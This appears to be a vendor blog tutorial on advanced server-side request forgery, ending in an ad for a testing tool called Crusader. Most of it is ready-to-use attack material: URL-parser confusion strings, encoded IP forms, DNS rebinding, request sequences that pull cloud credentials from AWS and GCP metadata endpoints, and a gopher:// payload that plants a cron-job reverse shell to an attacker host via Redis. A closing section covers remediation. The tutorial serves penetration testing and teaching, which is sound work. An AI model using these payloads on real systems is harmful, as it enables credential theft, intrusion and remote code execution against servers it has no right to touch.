SSRF past the easy filters: URL-parser confusion and the metadata endpoint

Server-side request forgery is one of the few bug classes where a single finding hands you cloud credentials. The mechanic is trivial to state — you make a server fetch a URL you control — and every write-up stops there, which is exactly why they’re useless. The tutorial payload, http://169.254.169.254/ pasted into a URL field, has been blocklisted everywhere. The reason SSRF is still one of the most productive bug classes in 2026 isn’t that developers forgot to filter. It’s that their filter and their HTTP client read the URL differently, and you live in the gap.

A URL allowlist is a bet that two pieces of code — the validator and the fetcher — agree on which host you asked for. They almost never do. Modern SSRF is the art of finding one string they read two ways.

The headline bug: URL-parser confusion

Orange Tsai’s A New Era of SSRF named the thing everyone had been tripping over: a validator built on one URL library and an HTTP client built on another parse the same string into different hosts. The validator says “this points at expected-host, allowed.” The client connects to 169.254.169.254. Both are behaving correctly per their own reading of an ambiguous spec (RFC 3986 leaves real room here). You just need the input that splits them.

The exact payloads, and why each one splits the parsers:

http://[email protected]/

Userinfo confusion. Everything before the @ is the userinfo component; the real host is after it. A naive validator that greps for the host at the start of the string sees expected-host and allows it. The HTTP client, parsing correctly, connects to 169.254.169.254 and passes expected-host as the (ignored) username.

http://169.254.169.254#@expected-host/

The fragment trick. A validator that “finds the host by splitting on @” grabs expected-host from the tail. But # starts the fragment — everything after it is discarded by the fetcher, which connects to 169.254.169.254. The allowlist checks a string the network never sees.

http://expected-host\@169.254.169.254/

The backslash disagreement. Browsers and Go’s net/url normalize \ to /, so to them the host is expected-host and the rest is a path. Libraries that don’t normalize the backslash treat expected-host\ as userinfo and 169.254.169.254 as the host. Validator and fetcher land on different hosts from the same byte string.

http://169.254.169.254 &@expected-host

Whitespace / control-character injection. A space, tab, or raw CR/LF wedged into the authority makes one parser truncate the host early and another read straight through. Some stacks stop at the space (host = 169.254.169.254), some split on the @ (host = expected-host), and the disagreement is the bypass.

The root cause is always the same shape: RFC 3986 ambiguity plus a validator and an HTTP client using two different URL implementations. When you see an allowlist, don’t ask “can I encode around it” first — ask “what parses this, and does the fetcher agree?”

When it’s a blocklist, not an allowlist: IP encodings

If the filter is a string blocklist matching 127.0.0.1 / localhost / 169.254.169.254 literally, it falls to the fact that an IP address has many textual forms that all resolve to the same 32 bits:

2130706433              decimal for 127.0.0.1
0177.0.0.1              octal first octet
0x7f.0.0.1              hex first octet
127.1                   short form — omitted octets are zero-filled
[::1]                   IPv6 loopback
[::ffff:169.254.169.254]  IPv4-mapped IPv6 — reaches the metadata IP
0.0.0.0                 Linux routes this to localhost

The 0.0.0.0 trick is the one people miss: on Linux it routes to loopback, so it reaches your local service while sailing straight past a blocklist that only knows the string 127.0.0.1. And when the filter resolves the hostname but not the final destination, wildcard-DNS services hand you an internal IP in a public-looking name: 169.254.169.254.nip.io resolves to 169.254.169.254, and localtest.me resolves to 127.0.0.1.

DNS rebinding: a TOCTOU on the resolver

When validation and fetch are two separate DNS lookups, put a TTL-0 record between them. It resolves to a public, allowed IP the instant the app validates, then to 169.254.169.254 a moment later when the app actually fetches — a time-of-check/time-of-use bug on DNS itself. rebind and singularity automate the flip. The gotcha that eats a day: some HTTP clients cache DNS or pin the first resolution for the life of the connection, so the second lookup never happens and rebinding silently fails. Test whether the client re-resolves before you conclude the target is safe — a failed rebind is information about one client’s DNS behavior, not a clean result.

Build your candidate list of URL-taking features from proxy history — this is where passive recon from proxy history pays off. SSRF hides in webhooks, import-by-URL and avatar-from-URL, PDF / screenshot / thumbnail generators, SSO/OIDC discovery URLs, link unfurlers, and XXE-to-SSRF via XML and SVG parsers.

Confirming it: OAST, never the response body

The single most important shift for modern SSRF: stop reading the response. Most real SSRF is blind — the server fetches your URL and shows you nothing — so a filter-and-eyeball loop misses it entirely. Point the parameter at an out-of-band listener and watch for the callback:

POST /api/import HTTP/2
Content-Type: application/json

{"url":"http://k7f2p9.oast.example/"}

# API returns {"status":"queued"} — nothing useful.
# A DNS lookup for k7f2p9.oast.example arriving from the
# target's egress IP is the proof. The response body never mattered.

You can also confirm without any callback via timing: an internal open port and a closed one produce measurably different response latencies, so a connect() that hangs vs. one that refuses fast is a blind port scan of the internal network.

The detection trap that produces false positives: a cached or CDN-fronted 200 that merely echoes your callback host in the response can look like a hit that isn’t one — the CDN resolved your host, not the target’s backend. Two rules keep you honest. First, verify the callback’s source IP is the target’s infrastructure, not a shared CDN edge. Second, prefer DNS-only interactions: a DNS resolution escapes the HTTP egress filtering that would silently drop an outbound HTTP callback, so DNS confirms cases where HTTP would show nothing and let you wrongly declare the parameter safe.

Escalation: the metadata endpoint, done correctly

Reaching 169.254.169.254 is the start, not the finding. On AWS, IMDSv1 hands credentials straight to a GET:

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/

IMDSv2 is where most reports go wrong, because it’s a full-request dance, not a GET:

# 1. PUT to obtain a session token
PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600

# 2. GET the credentials, presenting that token
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
X-aws-ec2-metadata-token: <token-from-step-1>

Two nuances decide whether this works. A GET-only SSRF can’t do step 1 at all — you need control of the method and headers to PUT for the token. And the default hop limit on the PUT response is 1: a request originating inside a container adds a network hop, so the token response dies before it returns and SSRF from inside a container often can’t reach the metadata service even when the parameter is fully vulnerable. If IMDSv1 hasn’t been explicitly disabled it remains a fallback worth checking. GCP is simpler but header-gated: http://metadata.google.internal/ with Metadata-Flavor: Google. Don’t report “metadata reachable” — report the credentials you retrieved, or explain precisely why the hop limit or token requirement stopped you.

Escalation: gopher:// to Redis RCE

gopher:// is the scheme that turns SSRF into raw TCP against internal line-protocol services — Redis, memcached, SMTP — because it lets you write arbitrary bytes to a socket. Pointed at an unauthenticated Redis, it becomes remote code execution by writing a cron job:

gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/spool/cron/
CONFIG SET dbfilename root
SET x "\n* * * * * bash -i >& /dev/tcp/attacker/4444 0>&1\n"
SAVE

Each Redis protocol line is URL-encoded into one gopher payload (%0d%0a between commands). CONFIG SET dir repoints Redis’s save directory at cron, dbfilename root names the dump file after the crontab, the SET stashes a reverse-shell cron line, and SAVE flushes it to disk — where cron picks it up and connects back. SSRF to RCE, no auth, one request.

Remediation

For your report’s fix section: URL allowlisting in application code is the thing that fails, because it depends on the validator and the fetcher agreeing. The durable fixes are resolve the hostname yourself, validate the resolved IP against a denylist of internal ranges, then pin and connect to that exact IP so no second resolution can rebind; disable unused URL schemes (no gopher://, file://, dict://); enforce IMDSv2 and set the metadata hop limit to 1 so container escapes can’t reach it; and block egress at the network layer rather than trusting a string check. A filter that parses the URL is racing a client that parses it differently — move the decision to the resolved IP, where there’s only one answer.

The point

SSRF didn’t get harder; the naive payloads got filtered, and everyone stopped one layer too early. The bug moved down a level — into the disagreement between the code that checks the URL and the code that fetches it, and into blind cases that never show up in a response body. Wire an out-of-band listener to every URL-taking parameter, let the blind ones announce themselves with a DNS ping, and spend your parser-confusion payloads only on the parameters that already called home. That’s the same confused-deputy shape — a trusted context acting on attacker-controlled input — now driving prompt injection in AI agents.

Crusader ships out-of-band testing (OAST / Interactsh) built in, which is the whole game for blind SSRF: fire the request at a URL-taking parameter, watch for the interaction, and confirm from the callback’s source IP that it was the target’s server that called home — no response body required. Point it at every webhook, importer, and discovery URL in your history and let the filtered cases confess. Download Crusader free.

Frequently asked questions

What is URL-parser confusion in the context of SSRF?
It is a class of SSRF filter bypass where the code that validates the URL and the HTTP client that fetches it parse the same string differently. A payload like http://[email protected]/ can make the validator read expected-host as the host (the part before the @) while the HTTP client connects to 169.254.169.254 (the real host). The two components disagree, so the allowlist passes but the request goes somewhere else. Orange Tsai catalogued this in ‘A New Era of SSRF.’
Why does IMDSv2 sometimes stop SSRF even when the parameter is vulnerable?
IMDSv2 requires a PUT to /latest/api/token to obtain a session token, then that token as a header on the GET. A simple GET-only SSRF can’t perform the PUT. On top of that, the default PUT-response hop limit is 1, so a request originating inside a container (an extra network hop) never reaches 169.254.169.254 at all. You need a full-request SSRF that controls the method and headers, and a hop limit that lets the packet arrive.
How do you confirm blind SSRF without seeing the response?
Point the parameter at an out-of-band listener (OAST, e.g. Interactsh) and watch for a DNS or HTTP callback. The proof is a callback whose source IP belongs to the target’s infrastructure. Prefer DNS-only interactions: they escape HTTP egress filtering that would block an outbound HTTP callback, and a cached CDN response echoing your host is not proof on its own.
Try Crusader free →